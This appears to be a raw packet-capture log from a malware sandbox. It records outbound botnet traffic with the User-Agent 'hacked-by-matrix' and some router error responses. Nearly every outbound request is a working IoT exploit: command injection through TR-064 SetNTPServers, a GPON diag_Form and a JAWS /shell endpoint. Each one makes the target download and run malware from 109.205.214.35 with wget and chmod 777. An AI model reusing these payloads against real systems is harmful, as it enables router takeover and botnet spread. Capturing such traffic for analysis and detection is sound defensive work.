Mar 21, 2024 05:22:48.495341063 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.13	53542	99.250.27.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.485960007 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:45.292293072 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:46.253591061 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.13	49440	118.76.198.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.610090971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.13	43284	109.9.38.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.610110044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.13	48076	5.203.22.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.610136986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.13	43816	42.233.20.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.610156059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.13	35454	23.111.78.175	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.871323109 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:45.039710045 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:44 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:22:45.039773941 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:22:45.039913893 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:22:45.039982080 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:22:45.040004015 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:22:45.040102959 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:22:45.040164948 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:22:45.040209055 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to ded.vgame.ca's <a href="mailto:root@ded.vgame.ca?s
Mar 21, 2024 05:22:45.040277004 CET	356	IN	Data Raw: 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 20 74 69 74 6c 65 3d 22 63 50 61 6e 65 6c 2c Data Ascii: logo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">Copyright 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.13	35484	23.111.78.175	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:45.039298058 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:45.202704906 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:44 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:22:45.202764988 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:22:45.202805042 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:22:45.202872038 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:22:45.202919006 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
